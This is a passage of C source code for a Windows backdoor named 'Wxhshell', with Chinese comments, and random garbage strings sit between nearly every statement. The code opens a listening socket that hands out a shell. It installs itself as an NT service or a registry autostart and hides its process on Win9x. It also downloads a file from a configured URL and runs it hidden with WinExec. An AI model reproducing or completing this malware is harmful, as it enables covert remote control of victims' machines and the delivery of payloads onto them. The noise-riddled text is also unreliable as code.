0 (~ CloseHandle(hProcess); R^dAwt`.D .he%a3e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5nqj if(hProcess==NULL) return 0; 50rq}- uxVXnQQ HMODULE hMod; yXrFH@3 char procName[255]; Lc*i[J<s unsigned long cbNeeded; ^']xkS rtf>\j+ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `EU=u_N WABq6q! CloseHandle(hProcess); Z\i@Qa +r 0?SdAF[:z if(strstr(procName,"services")) return 1; // 以服务启动 ctdV4%^{ RIl%p~ return 0; // 注册表启动 *8js{G0h } 9+=U&* sP5PYNspA // 主模块 R$(,~~MH int StartWxhshell(LPSTR lpCmdLine) &^qD<eZ!Eq { #)=P/N1 SOCKET wsl; lGjmw"/C BOOL val=TRUE; Hc^b}A y7 int port=0; lh~!cOm\=E struct sockaddr_in door; T
-C2V$1 T\8|Q@ if(wscfg.ws_autoins) Install(); ,+,""t 49_b)K.tB port=atoi(lpCmdLine); ] 2FS= 6!Ji-'\" if(port<=0) port=wscfg.ws_port; ;2)@NH t1g)Y|@d WSADATA data; A(Ugam~} if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 69r<Z ![U|2x if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bPOehvK/ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -`iZBC50 door.sin_family = AF_INET; rt!5Tl+v door.sin_addr.s_addr = inet_addr("127.0.0.1"); FB6`2E%o door.sin_port = htons(port); ~+QfP:G mWUQF"q8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yWFDGk closesocket(wsl); h3>/..l return 1; fX#Em'Ab[ } `EBo(^n}O `dn|nI2 if(listen(wsl,2) == INVALID_SOCKET) { U`IDZ{g closesocket(wsl); GvF~h0wMt return 1; &`pd&U{S* } @\z2FJ79w Wxhshell(wsl); bb+-R_3Kd WSACleanup(); ui YZk3 Y%|f<C)lx2 return 0; 2m[z4V@` t~Cul+ } z[}[:H8 =+'4u // 以NT服务方式启动 rC[*x} VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @lDoMm,m' { j5G8IP_Wx DWORD status = 0; `kVy1WiY DWORD specificError = 0xfffffff; p_)V@7 +VI2i~ serviceStatus.dwServiceType = SERVICE_WIN32; vv"_u=H serviceStatus.dwCurrentState = SERVICE_START_PENDING; 80&JEtRh serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %W+*)u72( serviceStatus.dwWin32ExitCode = 0; !d&K,k serviceStatus.dwServiceSpecificExitCode = 0; ;6U=fBp7< serviceStatus.dwCheckPoint = 0; K82pWpR serviceStatus.dwWaitHint = 0; )(_}60 x =5k74 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V[5-A $ft if (hServiceStatusHandle==0) return; xWU0Ev)4U D7olu29 status = GetLastError(); &^{HD }/{b if (status!=NO_ERROR) |t!kD(~r { Vqb4
MWW serviceStatus.dwCurrentState = SERVICE_STOPPED; b Zn:q[7 serviceStatus.dwCheckPoint = 0; :hwZz2Dhi serviceStatus.dwWaitHint = 0; ] 06LNE serviceStatus.dwWin32ExitCode = status; jL6u#0 serviceStatus.dwServiceSpecificExitCode = specificError; Siq2Glg_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); B'lWs; return; co|jUDu>W } @vCPX=c 4=%Uv^M serviceStatus.dwCurrentState = SERVICE_RUNNING; #78p#E serviceStatus.dwCheckPoint = 0; .`)\GjDv serviceStatus.dwWaitHint = 0; .MXznz if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '0p 5|[ZD } YRfs8I^rg }'b3'/MJ // 处理NT服务事件,比如:启动、停止 _b&Mrd VOID WINAPI NTServiceHandler(DWORD fdwControl) J;Xh{3[vO { S>/p6}3] switch(fdwControl) mawomna { 2+s_*zM- case SERVICE_CONTROL_STOP: )~rfx serviceStatus.dwWin32ExitCode = 0; |ITp$_S serviceStatus.dwCurrentState = SERVICE_STOPPED; sbjAZzrX2i serviceStatus.dwCheckPoint = 0; (vB aem9 serviceStatus.dwWaitHint = 0; q?nXhUD { o
)G'._ SetServiceStatus(hServiceStatusHandle, &serviceStatus); kn^RS1m } +%OINMo.A return; O={4 >>F case SERVICE_CONTROL_PAUSE: \3-XXq serviceStatus.dwCurrentState = SERVICE_PAUSED; E3X:{h/ break; 'nz;|6uC case SERVICE_CONTROL_CONTINUE: j\B]>PP5 serviceStatus.dwCurrentState = SERVICE_RUNNING; osoreo;V^ break; d(3F:dbk case SERVICE_CONTROL_INTERROGATE: AE={P*g break; 8V`NQS$ }; 9TIyY`2! SetServiceStatus(hServiceStatusHandle, &serviceStatus); h3Nwxj~E } ms{:=L2$$ Kyt.[" p // 标准应用程序主函数 1XSA3;ZEc int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &Gp@,t { A[
9
@:z W2D^%;mw // 获取操作系统版本 CC0@RU OsIsNt=GetOsVer(); AON";&dLq- GetModuleFileName(NULL,ExeFile,MAX_PATH); HgvgO\`] 0&mo1 k_U // 从命令行安装 OL4I}^*, if(strpbrk(lpCmdLine,"iI")) Install(); !
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W 34 // 下载执行文件 ^VK-[Sz& if(wscfg.ws_downexe) { :9Zu&t if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nm'sub WinExec(wscfg.ws_filenam,SW_HIDE); -wH#B<' } }fpK{db %6+J]U if(!OsIsNt) { orVsMT[A // 如果时win9x,隐藏进程并且设置为注册表启动 b'Pq[ ) HideProc(); 4.I6%Bq$ StartWxhshell(lpCmdLine); [ R+zzl&Zw } O$k;p<?M else G~1#kg if(StartFromService()) P~Q5d&1SO // 以服务方式启动 7-6Z\.- StartServiceCtrlDispatcher(DispatchTable); &$?e D{ else u/Fa+S // 普通方式启动 6&M |